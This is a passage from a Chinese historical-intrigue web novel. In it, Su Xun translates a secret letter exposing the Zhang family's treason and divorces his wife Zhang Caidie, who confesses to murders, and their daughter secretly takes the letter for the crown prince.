这是他此次来公主府最大的目的,当日苏清华去见他,告诉他父亲之死,不是他的主因,而是张彩蝶故意设计。 当他想仔细询问,却发现苏清华已经转身离开,这几日他为了此事,日日不得安睡,直到他接到皇上恩赐,可以即刻出狱安葬母亲,他迫不及待返回家中,紧急埋葬了母亲,随后梳洗打扮一番,便来到了公主府中,想要将心底疑问,一探究竟。 “当然是真的,你虽是一直不喜我,可也应当直到,我从小到大,何时说过假话?我敢亲口告知你,便是已掌握了十足的证据,你若是不信,可以亲眼看看这封天奴密信。”说着,苏清华将一封泛黄的信,从袖中取出,翠竹急忙过去接过,随即递到苏洵手中。 苏洵拿到手中,立刻打开查看。 可他随即却紧皱眉头:“这是什么,上面密密麻麻的,好像是字,又好像不是。” “这是张之熊亲手写给天奴的密信,也是他勾结天奴,意图残害祖父的证据。”苏清华开口解释。 “你明知我不认识天奴字,却故意给我这封信看?不会你仗着我不懂天奴字,故意想以此骗我,想让我帮你对付张家吧?”苏洵被张彩蝶坑过一回,结果在监狱里受了那么多苦,他又怎么可能还轻易相信别人? 何况他跟苏清华本就关系微妙... 在监牢里的日子,虽是没有遭受毒打,可每日呆在狭小的空间,吃喝拉撒都在一个地方,又没有人身自由的日子,他可不想再承受一遍了。 “这是老秦相亲手撰写的天奴字典,你可以回去一一对应,自行翻译,等将里面的字都翻译成赵阳字,你便会了解真相。” “好,我这就回去一一查看。若真是如你所说,苏家如今境地,便全是张家的设计,那张家便实在可恶,我就算拼出老命,也不会让张家好过。”他如今已经没有什么拿的出手的,唯一就剩这条命了。 说完,他便将密信跟书贴身藏好,转身欲走。 这件事对他实在重要,他恨不得立刻知道真相。 “此物是证明张之熊勾结天奴的重要证据,你务必要保管好。”苏清华见他转身欲走,立刻出言提醒。 “这么重要的东西,你为何会放心交给我?不会这封信,本就是假的吧?”苏洵在监狱中住了几天,竟好似脑子忽然开窍,聪明了许多。 苏清华不紧不慢,轻轻回道:“你若是信不过,可找信得过的人,查看这密信的纸张,还有上面的墨字,是否是十几年前的旧物,这个可是做不了假的。” “那你为何不直接将此信交给皇上?那样的话,张家可是株连九族的大罪!”苏洵仍是满肚子疑问。 “因为我觉得,苏家人更有权利先看这封信,毕竟这是祖父用生命换来的。大哥远在边境,苏喆与苏清瑶又与张家血脉相连,这苏家唯一剩下的,也是最有资格看的,便是你了。当然,若是你不想看,你还给我便是,我必不会勉强。” 苏清华给了翠竹一个眼神,翠竹立即走到苏洵旁边,伸出手来,欲要将信取回。 苏洵没有将信给翠竹,而是开口问道:“你外祖母是你下的手吗?” 苏清华嗤笑一声:“虽是父女多年,可你从没有真正关心过我,所以还是太不了解我,若是我真要出手,必不会让她死得如此痛快。”苏清华眼神凶狠,将对孙氏的恨意,毫不掩饰。 苏洵听到此话,眼神里闪过一丝心虚:“我知道这么多年,你受了不少委屈,你祖母确实也做了很多错事,不过她如今也算自作自受,受到了报应,当年是她亲手引张家人入室,如今也被张家设计惨死,死后连祖坟也不能葬入,我已按照皇上的意思,命人暗中将她埋了,为了不影响太后寿辰的氛围,甚至哭声都不敢传出,她就这样无声无息的走了,这也算她的报应了。” 苏清华听闻孙氏如此结局,并没有丝毫怜悯,说:“她就算受了再多报应,也换不回母亲跟珍姨娘的命,还有我想提醒你,你如今既然已经知道,世间还有报应二字,便应擦亮双眼,别再被人蒙蔽,做那些害人害己之事,以免走上孙氏的老路!” “清华公主放心,如今我已分得清善恶,张彩蝶即害我父,又害我母,还害了我一辈子,我必不会让她好过。”苏洵内心深处,已经完全信了苏清华。 第一百五十四章 恳求原谅 不过他还是拿着书信返回了苏府,将自己锁在书房,细细品读起来。 信的内容虽不多,可也有好几百字,他对天奴文字又毫无研究,翻译起来便异常麻烦,需要挨个字到字典中去找。 就这样他除了吃饭睡觉,日日呆在书房。 直到三日后,方才将信的内容完全译出。 翻译过程中,他便已有预感,等到他完整的通读一遍, 脸色涨得通红,仿佛能滴出血来,眉头紧紧皱起,形成一个深深的“川”字。 双手紧紧握住信纸,手臂上的青筋暴起,似乎在努力克制着自己的愤怒,若不是这封信实在重要,他恨不得立刻将其粉碎。 强忍了半天,他还是没忍住,将桌上的砚台狠狠地扔出去,那砚台滚落在地,本价值百两的砚台,顿时四分五裂,化为无用的碎石。 那砚台本是张家之物,他三十岁生日之时,张彩蝶亲手相送,墨玉的材质,质地细腻温润,触手有滑润之感,如同触摸羊脂玉般,且纹理自然流畅,有的墨玉砚台内部纹理如云雾缭绕,有的则像山川河流。 他第一眼见,便很是喜欢,从那以后,日日放在案桌之上,每当写字研磨的时候,他都会记起,张彩蝶对他的深情,以及嫁给他后,被京城其他贵妇嗤笑所受的屈辱。 只是没想到,张彩蝶说是因对他爱慕甚深,方才会想尽办法嫁入苏家,竟全是欺骗他的谎言。 如今看来,他竟像个傻子,被人卖了还在帮人数钱,张家从一开始接近苏家,便是带着目的的。 “老爷,夫人回来了。”恰在此时,管家的声音传来,打断了苏洵的思考。 管家听从苏洵吩咐,一直站在门外,即使是吃喝拉撒,也只敢在不远处的地方解决。 方才他听闻里面声响,却也不敢贸然进去打扰,因为苏洵曾吩咐过,除非他主动召唤,否则不可打扰,外面若是有人前来,务必高声提醒。 苏洵听闻提醒,脸色浮现一丝紧张,立刻将书信别书架的一本书中藏好。 “夫君,你可算回来了,我想念极了你,你既然回来了,怎么也不找人去张家通知我一声,我也好为你精心准备一下?”张彩蝶的声音传来。 苏洵听到张彩蝶的声音,嘴唇紧闭,嘴角微微颤抖,牙齿咬得咯咯作响,腮帮子也鼓了起来。 都这个时候了,她竟还在将他当猴子耍! 想起以前自己的愚蠢,苏洵心中更是恼怒。 “吱呀。”一声,随后张彩蝶推门走了进来,后面还跟着苏清瑶与苏喆。 “王祥,你立刻命人,将整个书房严防死守,要是有奸人胆敢靠近,格杀勿论。”苏洵厉声吩咐。 王祥躬身答应,立刻转身前去安排。 “夫君,你这是作甚?难道是还在为上次刺杀的事怨我?”张彩蝶垂着头,睫毛上凝着细碎的水光,下唇被牙齿咬得发白,每一下颤抖都泄露出极力克制的委屈。 “张彩蝶,到了如今,你还摆出这副样子,难道不觉得恶心吗?”苏洵大声喝道,丝毫没有怜惜张彩蝶半分的意思。 张彩蝶闻言,立刻跪倒在地,脸上也尽是忏悔之意:“上次是我一时糊涂,求夫君再给我一次机会。我以后必会更加尽心的伺候你。” 说着她便毫不犹豫的将头重重的磕下。 张彩蝶磕头的瞬间,正好瞥见地上破碎的墨玉砚台,她的眉头不由一皱。 她心里明白,这次想要挽回苏洵的心意,怕是没那么容易了。 若是换了以往,她眼泪只要在眼眶一转,苏洵便会立刻妥协,又哪里需要她跪地恳求? 她跪了良久,见对方毫无反应,不由抬头去看,只见苏洵眼光犹如淬了毒,狠狠的盯着她,仿若想将她碎尸万段。 苏洵看着跪倒在地的张彩蝶,没有想象中的快感,有的只是无尽的痛恨,痛恨她的虚伪,更痛恨自己以前的愚蠢。 以前张彩蝶也惯会装柔弱,只要她嘴巴一憋,他便会立刻想到,她为他受了多少白眼,根本舍得她再受半分委屈,所以她说什么便会信什么,她让他做什么,他从不会犹豫,包括打骂苏清华,甚至将她赶出家门。 苏洵只死死的盯着她,他到要看看,她这戏将如何往下演? “夫君,你再给我一次机会,上次将罪名都安到你的身上,我也是迫不得已。哥哥掌兵多年,皇上一直十分忌惮,我如果不那么说,皇上必定不会轻易放过张家!我一时情急,才会将所有推到你的身上,自从你入狱,我日日寝食难安,日日在佛前为你祈祷,到了夜里,摸着旁边的空位,更是夜夜落泪到天明,请夫君给我一次恕罪的机会,我必定会当牛做马,来偿还对你的亏欠。”张彩蝶言辞恳切,神态自然。 纵是苏洵仔细观察,也未察到一丝破绽,他一时竟也有些恍惚,毕竟嫁给他这么多年,又给他生了两个孩子,不管当初为了什么,事到如今,她内心深处,是不是也对他产生了感情? 张彩蝶观察到对方眼神的挣扎,还有脸色明显的松动,立刻继续说道:“夫君,我当时便有所猜测,皇上看在你父亲军功的份上,必定不会对你赶尽杀绝。如今皇上果然如我所料,将你放了出来,我发誓,以后必定会好好陪着你。” 张彩蝶指了指,站在两侧的苏喆跟苏清瑶,说:“夫君,看在我给你们苏家,生了两个孩子的份上,你再给我一次机会吧。” 听到母亲提到自己,苏喆跟苏清瑶,立刻跟腔,说:“父亲,您就原谅母亲吧。” 苏清瑶快步走到苏洵跟前,挽住他的胳膊撒娇道:“父亲,我知道您最疼瑶儿了,瑶儿也是最敬爱您的,以后我们四个人,好好在一起过日子,万万不可被苏清华那个贱人,离间了我们一家人的感情。” 张彩蝶一闻此话,立刻暗叫不好,可为时已晚,当她抬头的瞬间,正好看见苏洵的脸色,瞬间又转为震怒的状态。 第一百五十五章 “你最敬爱我?那我问你,你们刚才从哪里回来的?为何我回府这么多日,却一直不见你们踪影?” “我...我们去了舅舅家一趟,自从父亲被抓入狱,苏喆当了靖远侯,接管两人侯府,苏府哪里还有我们的容身之处,我们不得不暂住舅舅家,我们实在不知父亲回来,若是知道,怎么可能不回来见您呢?”苏清瑶边说边流泪。 苏洵仔细观察,却发现她的眼神躲闪,明显是说了谎话。 女儿毕竟还年幼,没有张彩蝶的演技精湛。 他以前怎么竟没发现,女儿撒起谎来,也这么信手拈来呢? “瑶儿,你是什么时候学会的说谎?还是一直如此,只是我从前没发现?你们在苏喆走后,便搬回了苏府,听说我要回家,才匆匆搬回了张家,你以为我不知道?府里这么多仆人,你以为父亲掌管苏府这么多年,便没有一两个心腹?” “是哪个多嘴的奴才,竟敢挑拨我们父女关系?我们前几日虽是回了苏家,可突然搬回张府,并不是因为听说父亲要回家,而是因为舅舅病了,我们接到舅母传来消息,说舅舅忽然昏倒,我们才会匆匆回张府的。” 张彩蝶也跪着,爬到苏洵脚边,说:“夫君,你实在误会我们了,我真不知道你要回来,若是知道的话,就算哥哥病了,我必须回张家一趟,再不济也会让孩子们在家等你呀,我是这么的爱你,当年不顾父母反对,也不顾都城夫人笑话,执意嫁给已经有儿有女的你,如今也为你生儿育女了,怎么可能会弃你不顾呢?” 苏洵看着可怜楚楚,满眼委屈的母女两个,不由哈哈大笑。 “哈哈,爱我?你爱人的方式倒是独特,先是挑唆我母亲毒杀了我的嫡妻,然后又挑唆我给我父亲端上了毒药,最后又逼我将亲生女儿,赶至家庙,你爱人的方式,还真是让人吃不消呢!” 不待张彩蝶回答,苏洵又指着苏清瑶说:“还有你,从小到大,我将所有能给的东西,都给了你,包括我的父爱,也是你得到的最多,可当我遇到困难,被你母亲逼着入狱,你却一次也没去看过我,还巴巴的跑到害我至此的张家,我看你最敬爱的不是我,而是你位高权重的舅舅吧!” 说到这里,苏洵再也忍耐不住,将桌上的一个茶碗,重重的摔到地上。 “父亲,你听我解释,我一听说你入狱,便日夜哭泣,想着如何能救您出来。我先是跪求舅舅帮忙,可他为了救母亲出来,已经得罪了皇上,若是再为您求情,只会更加激怒皇上。” 苏清瑶偷偷撇了一眼苏洵,见他脸色仍是铁青,继续说道:“无奈之下,我只好向太子求救,太子却说,小不忍则乱大谋,让我尽力克制忍耐,这个时候越是为您求情,越是去监狱探望,皇上便会遇见恼怒,不如等皇上怒气过了,再想办法救你出来。” “太子真是这么说的?”苏洵听闻太子二字,语气明显缓和不少。 “是的父亲,太子还说,他早晚会娶我的,到时候便更有理由放你出来。”苏清瑶压低声音:“若是我将来成了皇后,我必想办法帮母亲恕罪,为苏家请封王号,到了那时,你成了靖远王,只不过区区牢狱之灾,又算的了什么?” 苏清瑶越说越兴奋,眼神里闪着光芒,好似皇后已成为她囊中之物。 “哼,我在牢狱受了这么多苦,你倒是说的轻松,还区区牢狱之灾,又算得了什么?这几个月的牢狱之灾,我担惊受怕,又睡不好觉,差点要了我的命,即使如今出来了,我寿命想是也会有损,你轻轻松松一句话,便想将这些揭过,未免也太天真了吧?况且太子会不会娶你还要另说,赵阳城这么多贵女,太子为何非要娶你?你又能为太子带来什么?太子殿下画饼的功夫,向来不错,只有你还在那百日做梦,傻傻的当真呢。”苏洵冷哼一声,坐回到太师椅上,脸上满是不屑。 “才不是呢?太子这次是真的要娶我,皇后跟太子亲口承诺,只要我帮太子一次,太子便会立刻请旨娶我。”说着这里,苏清瑶眼神里充满了柔情,里面还夹杂着一丝害羞。 “这次太子又让你帮他干什么?”苏洵好奇问道。 苏清瑶眼神躲闪,支支吾吾的说:“现在我还不能说...” “不说便算了,反正太子娶不娶你,都跟我无关了,...” 张彩蝶见苏洵心灰意冷,明显想跟她们撇清关系,急忙开口:“夫君,瑶儿是你的亲生女儿,她若是成为太子妃,怎会跟你无关?你莫不是糊涂了?” “我现在清醒的很,我活了这么多年,从未这么清醒过,我要休了你,想来瑶儿必是不会留在苏家,所以她的事情,又怎会还跟我有关?”苏洵语气坚定异常,想是下定了决心。 “你说什么?你要休了我?七出之罪我犯了哪一条?你为何忽然要休了我?”张彩蝶语气不甘道。 她虽对苏洵没多少感情,当听到对方说要休她,她仍是异常激动! “不顺父母,残害公婆,仅凭这一条,你便没资格再当苏家儿媳妇。” 说着,苏洵不顾张彩蝶的反应,重新坐回案桌之后,铺开一张宣旨,开始研磨写字。 正中间赫然写着两个大字:“休书”。 “夫君,谁告诉你,公公婆婆是我害死的?是不是苏清华,她恨毒了你,更恨毒了我,早就恨不得杀了你我,若是她知道,你不止信了她的鬼话,甚至要休了我,她什么都不用做,便可以坐收渔翁之利,不知道背后在怎么笑呢?我对你一片真心,她对你全是恨意,你怎能轻易中了她的计谋,让仇者快,亲者痛呢?” 豆大的泪珠从张彩蝶脸颊缓缓流下,她的伤心之色也不似作伪。 苏洵却没有丝毫动容,厉声喝道:“到了现在,你竟还在骗我,你执意嫁给我,难道不是因为父亲的兵权还有他截获的那封密信?” 第一百五十六章 万分恶心 “密信?什么密信?夫君,你在说什么?是不是苏清华为了诱你帮她对付我,自己杜撰出一封密信?你可千万别上当啊!”张彩蝶再次跪着爬到苏洵脚下,声嘶力竭的呼喊着,好似想唤起苏洵的理智。 “你大哥的字,我也算见过多次,所以怎会认不出?何况在天韶城内,除了无所不会的老秦相,也就你大哥学过天奴文字,那封密信是用天奴字所写,信里提及,会想尽办法,帮助天奴除去我的父亲?这不是你大哥写的,难道是老秦相所写?”苏洵咬紧牙关,一字一字的控诉着。 “苏清华与秦静姝关系交好,说不定是她们合谋骗你呢? 你将那封所谓的密信给我,我必然能帮你找出破绽。”张彩蝶眼神急切,语速也不由加快。 苏洵低着头,紧紧盯着跪在地上,扯着他衣角的张彩蝶:“夫妻这么多年,今日我终于看清你了,我原来一直以为,你每次受了委屈,都会又眼忍不住频繁眨动,如今方知,原来你是因为说谎才会如此。” 苏洵将写好的休书递给她,继续说道:“你我缘分已尽,你尽快签了字,从此一刀两断,不再有任何情分,省的后半生,甚至到了阴间,还要彼此厌恶,又互相纠缠,至于其他的账,我们再慢慢算。” 张彩蝶闻言,拿过休书,低头快速扫过,随后慢慢站起身来。 “既然你敬酒不吃想吃罚酒,那便别怪我不客气!我本想着夫妻一场,若是你今日能原谅我一次,我为了孩子,下半辈子便还与你将就到底,如今看来是不成了...” “不客气?你想怎么不客气?” “将密信交出来,否则的话,别怪我不顾往日情分...”张彩蝶眼神阴毒,显然没想给苏洵留活路。 “为了这封信,你处心积虑嫁给我,先是害死了婉儿,又害死了我父亲,如今又害死了我娘,今日就算我死,也不会将它交给你这个毒妇!”苏洵一脸决绝,存了必死的决心。 “婉儿?现在叫的倒是亲热,当日她刚死不久,你不是也欢欢喜喜迎我进门?甚至亲口对我说,爱我超过她百倍?还有你父亲,若不是你自己心里,早就对他不满,又怎会只听我挑唆两句,便对他起了杀心?” 张彩蝶轻蔑一笑,继续说道:“没错,我当时嫁给你,确实有所图谋,只是慕碗是死在你娘手里,你爹是死在你手里,我只是说了几句话,可动手杀人的,却是你们母子二人,若我是毒妇?你们便更是罪不可恕,该下十八层地狱。” “那我娘呢?你敢说,我娘不是你杀的?”苏洵看向张彩蝶,眼神里尽是痛恨。 他这一生,对他最好的人,便是孙氏,如今孙氏惨死,甚至不能葬入苏家祖坟,这一切都是张彩蝶造成的,他如何能不恨? 张彩蝶脸上无一丝悔恨之色,反而带着些许得意:“我确实杀了她,她一生自私自利,作孽甚多,苏清华得知母亲被害真相,早就给她下了毒,那毒虽不致命,却也弄得她身体不堪,半生不死。我给她一杯鹤顶红,反而是助她尽快解脱。” 苏洵见她无半点愧色,更是恼羞成怒,大声喝道:“你的意思是,你杀了她,还是在帮她?难道是她求着你给她下毒的?” “求我?你还是不了解你娘,当年的时候,她眼睛都不眨眼,连杀你两位妻妾。如今到了自己,却是惜命的很,即使瘫痪在床,行动不便,也还想着能继续活命呢。我说让她自己乖乖就范,死后必会让苏清华给她赔命,她却怎么也舍不得死,最后我只好亲手帮她解脱。” 张彩蝶脸上带着一丝快意,好似她早就恨毒了孙氏。 “我娘对你不薄,你为何如此狠心?” “不薄?你向来眼盲心瞎,我虐待苏清华你不知道,你娘处处拿捏我,你也不知,她明知我进苏家另有目的,却为了荣华,出手杀了慕婉,后来怕罪行败露,想尽办法迎我进门。后来我想尽办法,害了你父亲的性命,她明明看出了端倪,仍能隐忍不说,暗地里,却用这些来威胁我,方便日常拿捏我。她拿捏我这么多年,如今我杀了她,也只能算两清,从此互不相欠!” “若不是你故意挑唆,我们如何会轻易杀人?婉儿那么冰雪聪明,若是她在,如今我必还是靖远侯,我父母必也还活在世上,我苏家还是皇上重视的重臣!都怪你这恶心的毒妇,才害的我如此狼狈!” “你说我恶心?我确实是恶心,实话告诉你,跟你呆在一起的每一天,我都觉得万分恶心。” “既然如此,我们今日便把账好好算清楚了,我会将你杀害我娘,还有张家私通外敌之事,如实告知皇上,你回张家等着圣上定夺吧。”苏洵一甩袖子,下了最后论断。 “经历这么多,你还是如此愚笨,你即已看过密信,我怎会容你活着?来人呀!来人!”张彩蝶对着外面大声呼喊。 外面却无声无息,毫无回应! 张彩蝶见状,稍微一愣,不过她很快镇定下来,说:“哼,你倒长进了不少,竟然能挡住我外面的几十暗卫。不过,今日对那密信,我是势在必得!” 张彩蝶看了一眼,站在两侧的儿女,大声吩咐:“喆儿,你负责拦住你父亲。瑶儿我们一起找密信,他从公主府出来,便没有离开过书房半步,密信必定还在这里!” 听闻她的吩咐,苏清瑶跃跃欲试,苏喆却呆愣在原地,小声询问:“母亲,我们不是提前说好的,要好好跟父亲商量,让他主动交出密信,从此一家人好好生活嘛?” 此话一出,还未等张彩蝶开口,苏清瑶却率先开口:“你怎么这么蠢,没看父亲铁了心,根本不想好好商量嘛?此时若是不用抢的,难道等着他将信真的交给皇上?” 第一百五十七章 听到这里,苏洵眼睛一瞪,怒视着二人,大声吼道:“好啊,你们两个畜牲,竟然早就知道内情,你们非但不帮你祖父、祖母讨回公道,竟选择帮着张家对付苏家?你们可别忘了,你们姓苏,身上流着苏家的血!” 苏清瑶闻言,眼神不屑,心里很是不以为然。 苏洵如今已经成了庶民,名声也臭了,唯一有点前途的苏赫,还跟她势不两立,她怎么可能帮着苏家帮助张家? 至于张家,也是在垂死挣扎罢了,她也不会选择张家,她要自己挣出一条出路。 苏喆却与苏清瑶完全不同,他使劲的摇着头,脸上也是无奈至极:“我只是不想母亲为难,她毕竟是我的母亲,可我也从未想过与父亲为敌呀!” 苏喆接到绿晚传递的消息,说是苏洵已经出狱,并且苏清华给了他一封密信,那封密信是对张家极其不利的证据,便立刻将此事转告母亲。 因为他内心深处清楚的明白,母亲极其重视张家,看到母亲得知消息后,对他肯定的眼神,他内心雀跃不已,毕竟他很少得到母亲的认可。 随后,母亲便急不可耐的欲要返回苏家,他想着父亲最是听母亲的话,母亲必有办法哄父亲高兴,让他交出密信,到时候一家人又可以方向一致,一起对付苏清华。 他一直在憧憬一家人重归旧好,却怎么也没想到,事情会到闹到这个地步。 “喆儿,如果你不想娘跟张家一起完蛋,便立刻上去,将你父亲控住住。”张彩蝶之所以这么安排,是因为苏喆虽武功一般,可毕竟在边境多年,加上身强力壮,怎么也比苏洵强。” “娘,我们为什么非要闹成这样?” 苏喆脸上尽是拒绝之色,身体也不由后退,尽显畏缩之态。 “废物,白在边境呆这些年,真是跟你爹一样,烂泥扶不上墙!” 苏喆听闻母亲的评价,垂首僵立在青砖地上,衣袍随着抖颤的身躯轻轻起伏。原本无助的眼神化为死灰,母亲字字如刀的羞辱剜进耳中时,他喉结剧烈滚动两下,眼眶里泛起红血丝。 最后,他缓缓滑坐在地,只剩满心失望与绝望交织的空洞。 他只是不想与父亲为敌,怎么就成了废物? 张彩蝶虽是他的生母,可苏洵也是他的父亲啊! 张彩蝶却并未注意到他的失望,只见她灵动一闪,迅速而悄无声息的闪至苏洵身后,随后右手食指与中指轻轻点出,精准击中苏洵背后穴道。 苏洵感受到背后有异,想要转身应对,可显然已来不及,因为他发现,他竟周身都动弹不得。 “你竟会武?”苏洵猛地倒抽一口凉气,瞳孔在刹那间暴缩成针尖,又骤然扩散到极致,整张脸因过度震惊而凝滞。 同床夫妻十几年,孩子都生了一双,如今也都长大成人,他竟不知她会武功! 张彩蝶缓缓走至苏洵面前,对着他一声轻哼,眼神里尽是不屑:“身为武将之女,又怎会没有一点防身功夫?你以为人人都跟你一样,仗着有个好爹,却不知道好好珍惜,最终文不成武不就,一事无成?” “你为何要瞒我此事?你还有什么事,是我不知道的?”苏洵眼神里透着不甘,他实在接受不了,她竟从未信任过他。 “我当时嫁入苏家,本就是为了除去你父亲,为张家、为大哥铺路,又怎会倾心相告?难不成到了现在,你还活在梦中,以为我真是对你一见钟情,情深义重?在我心里,一直只将你当成一个工具而已,一个生孩子的工具,又有什么资格知道那么多?” 苏洵闻言,如坠冰窟,若不是浑身上下僵硬不能动弹,他早已瘫坐在地,原来她竟真的,从未对他有过半分喜欢! “娘,找密信要紧,我们别跟他废话了,还是快找吧。” 苏清瑶语气带着一丝急切,像是对那封密信极其重视。 苏清瑶说完,也不等母亲回答,便直奔书架,开始翻找起来。 张彩蝶眉头微微一皱,发现女儿的异常,可她来不及细想,只想着时间紧迫,便也不敢耽搁,跑到书桌旁边,开始翻找起来。 苏洵身体虽不能动,眼珠子却一直紧紧盯着书架,随着女儿的动作焦急的转动,看着女儿从下到上,一本书一本书的翻找,眼见着离那本藏密信的《为官之道》越来越近,他的心也不由的提到了嗓子眼。 他心里暗暗的,把张家所有人,包括苏清瑶在内,一起骂了十八遍。 接下来发生的一幕,却不禁令他,瞳孔再次放大。 只见苏清瑶终于拿起那本《为官之道》,然后快速的翻动,很快她便发现了目标,眼中透露出狂喜的表情。 她偷偷向张彩蝶的方向瞥了一眼,见她正集中精神翻找书桌,无暇顾及这里,她右手迅速捏起密信,随后塞入左边衣袖,再将书重新放回书架,若无其事的继续翻找其他书籍。 苏洵正对着她,又一直关注着书架,所以整个过程看的真切。 他内心震惊不已,女儿竟真的长大了,不止与他,便是与她的母亲,也有了二心。 只是不知她这么多,到底是为了什么? 苏喆还瘫坐在不远的地上,即为父母的反目成仇震惊,也为母亲的贬低而绝望,丝毫未发现苏清瑶的异常。 “瑶儿,父亲刚才一时情急,说的话太重了,不管我跟你母亲发生什么,你还是苏家的女儿,只要你跟我认个错,你便还是我最喜爱的孩子。”苏洵出言试探,他还存着一丝希望,万一女儿藏起那封信,是为了他... “哼,你最喜欢的孩子,这有什么稀罕的?你即无官职又无俸禄,当你最爱的女儿又有什么好处呢?” 苏清瑶对于父亲的话,只感到甚是好笑,她向来知道父亲没有母亲聪慧,可如今方才知道,父亲竟是如此愚蠢,她已经不是小孩子了,又怎会为了那点可怜的父爱而动心? 第一百五十八章 母女对峙 “我虽然没了官职,可苏家还是靖远侯府,苏赫仍是靖远侯,你留在苏家便是侯爷妹妹,你马上便要及笄,留在苏家说亲,肯定比你去张家要好,毕竟你在张家名不正言不顺,夫家肯定会忌讳这个,况且久居跟探亲有所不同,居人篱下的滋味,可不好受,到时候就是有再多委屈,也没地方诉说呢。”苏洵循序利诱,想要将苏清瑶拉到他这边来。 苏清瑶眉头微微皱起,似是厌烦又似是不屑,眼神从苏洵身上扫过,带着一种瞧不起对方的冷漠:“靖远侯的妹妹?在苏赫的眼里,他的妹妹只有一个,那便是苏清华,便是你这个父亲,他都没放在眼里,又怎会帮我筹谋?” 苏洵被她的眼神刺激,胸口不由一滞,他深呼一口气,方才忍住怒火,继续劝道:“不管怎样,我都是你们的亲生父亲,他就算敢对我不敬,也不敢不顾自己的名声。” 苏清瑶双手抱胸,下巴微微抬起,眼神傲慢,一副不屑与苏洵多交流的姿态 :“你现在话说的漂亮,到时苏赫若真不惜一切,我又如何自处?我早已不是三岁孩童,怎会拿自己的将来,与你一起赌? 况且娘说的对,你跟我那个废物弟弟一样,成事不足,败事有余!我选择相信你,还不如选择靠自己,毕竟太子早已承诺我,只要我帮他这一次,他便会娶我,到时候我做了太子妃,无论是苏家还是张家,也不过是普通的臣子,而我代表的却是皇家!” 未等苏洵回答,张彩蝶眼神锃亮,满是惊奇的开口问道:“瑶儿,你答应帮太子做什么?他为何会忽然这么好心?” 张彩蝶心里有一种不好的预感,毕竟无论是张家还是苏家,如今都已是强弩之末,特别是张家的处境,太子明知如此,又怎会继续选择说娶苏清瑶? 除非苏清瑶帮太子的事,对太子万分重要! 苏清瑶眼神不由闪烁,脸色也因紧张而微微泛白,“啊,那个…… 没什么,不过是让我帮他对付苏清华而已,苏清华接连让太子难堪,太子心里恨她至极。” 苏清华声音微微发颤,透着连她自己都没察觉到的不自然。 为了躲避母亲探寻的目光,她伸手撩了撩耳边的头发,借此动作稍稍低下头,眼神趁机再次游离,落在了自己不安分的脚尖上。 “你抬起头来看着我。” 苏清瑶听到母亲的命令,不由自主的将头抬起,却徒然与张彩蝶的目光交汇,当她发现母亲目光一动不动的盯着自己,她的脸色更加苍白,担心谎言被无情地戳破。 “好啊,你果然长大了,竟然连我也骗起来了,你是从我肚子里爬出来的,你眼珠子一转,我便知道你在想什么,你是不是答应太子,要帮他找密信?” 张彩蝶的眉头紧紧地皱在一起,形成一个深深的 “川” 字:“这密信对张家极其重要,你万万不可糊涂呀。如果太子得了这封密信,那张家便完了,太子必会借此威胁张家,从此张家便只有任他宰割的份!” 苏清瑶见事情败露,便不再掩饰,脸色涨得通红,眼神也充满不甘:“张家完了便完了,与我们何干?” 张彩蝶无奈叹了口气,眼神里满是失望:“张家毕竟是你的外祖家,是我的娘家,你身上也留着一半张家的血!” 苏清瑶的脸色瞬间变得铁青,犹如暴风雨前的乌云,阴沉得可怕:“娘家又如何?张家家只是一直在利用你罢了,你将父亲当成工具,张家又何尝不是将你当成工具?你都是一个工具了,那我跟弟弟又成了什么?” 她嘴唇紧紧地抿成一条线,微微颤抖着,似乎在竭力压抑着内心即将爆发的怒火:“当年他们逼你嫁入苏家,让你想尽办法杀死祖父的时候,他们可曾为你的将来考虑过?又何曾考虑过你孩子的将来?自己的母亲杀了祖父与祖母,你想让我如何自处?是跟着杀人犯母亲,还是跟着满心仇恨的父亲?而张家呢?他们让我们身先士卒,他们却只躲在背后,等着坐享其成。当年如此,如今又是如此,我又怎会真心帮他们?” 苏清瑶深吸口气,缓缓平稳了气息,继续说道:“母亲放心,即使张家被诛九族,等我当了太子妃,必定保住娘的性命,甚至会为你重新请封诰命。” 张彩蝶被气得浑身发抖,她抬起手,想要上去打苏清瑶一巴掌,但最终还是无力地放下:“就算张家是利用我,我也甘之如饴,谁让我生在了张家?何况你又怎知,太子不是在利用你?若是张家真的倒了,苏家也跟你断了往来,你便成了毫无家族依靠的人,太子又怎会让你当太子妃?你岂不是比我还糊涂呢!” 苏清瑶微微扬头,信心十足的说:“不,我跟你不一样,你一生都被家族血脉绑缚,一辈子 没有做过自己,我却有勇气挣脱家族绑架,去追逐自己的梦想。至于太子是否利用我之事,我心里早有打算,太子若是不娶我,我便不会真的将密信交给他,不见兔子不撒鹰的道理,我还是清楚的很。” 张彩蝶闻言,眼神一亮,立刻奔赴至苏清瑶面前,抓住她的胳膊,大声的质问:“瑶儿,你是不是找到密信了?快将那封信给我,我要立刻毁了它,这样的话,便再也没人可以对付张家,大哥也不用日日担心了。” 苏清瑶双手紧紧握成拳头,使劲将张彩蝶挣脱,并后退一步,与她拉开距离,说:“我才不要,那样的话,我又如何能成为太子妃?娘不是一直跟我说,要嫁就嫁给世界上最尊贵的男人?若是没有密信,我如何达成娘的期盼?” 张彩蝶盯着苏清瑶,脸上的肌肉微微抽搐,似乎在努力克制着内心的失望和愤怒:“你快乖乖将信拿出来,别逼娘对你动手。” 第一百五十九章 致命毒药 苏清瑶见母亲真的动了怒,眼底立刻泛起水光,嘴唇也委屈地抿成月牙:“娘,我知道在这个世界上,最爱我的便是你,你从小便对我倾尽心力,帮我争一切最好的东西,包括如何获得别人的关注,你说只有知道他们内心深处最缺什么,才能更好的拿捏住他们,父亲最缺的便是他人的肯定,果然我用你的方法,不断地夸赞父亲厉害,他便最疼爱我,太子最缺的便是兵权,如果舅舅愿意用兵符换取这封密信,那太子可以如愿得到兵权,舅舅也可以得偿所愿,不用再受皇上忌惮,岂不是两全其美?” 张彩蝶见女儿委屈的模样,心里不由一软,她这一生除了为家族而活,便是在为儿女奔波,特别是苏清瑶,她最见不得她受委屈,平日只要她一憋嘴,她便什么都答应她了。 可如今这事... “瑶儿,不是我不想答应你,这事实在是难办呀,你怎么就知道,舅舅若是交出了兵符,皇上便不会再忌惮他?何况若是没了兵符,张家便会跟苏家没了老靖远侯一样,只剩个花架子罢了。” 张彩蝶缓和了语气,满是慈爱的盯着苏清瑶说:“瑶儿,你听娘的话,将密信给我,除了这封密信,你要什么,我都答应你。” 苏清瑶闻言,对着张彩蝶莞尔一笑,点点头,说:“好,我知道娘最疼我了,密信我可以给你,不过我要舅舅务必帮我成为太子妃。” “好,娘答应你,你快点将密信给我吧。”张彩蝶望着女儿,眼神里尽是期待。 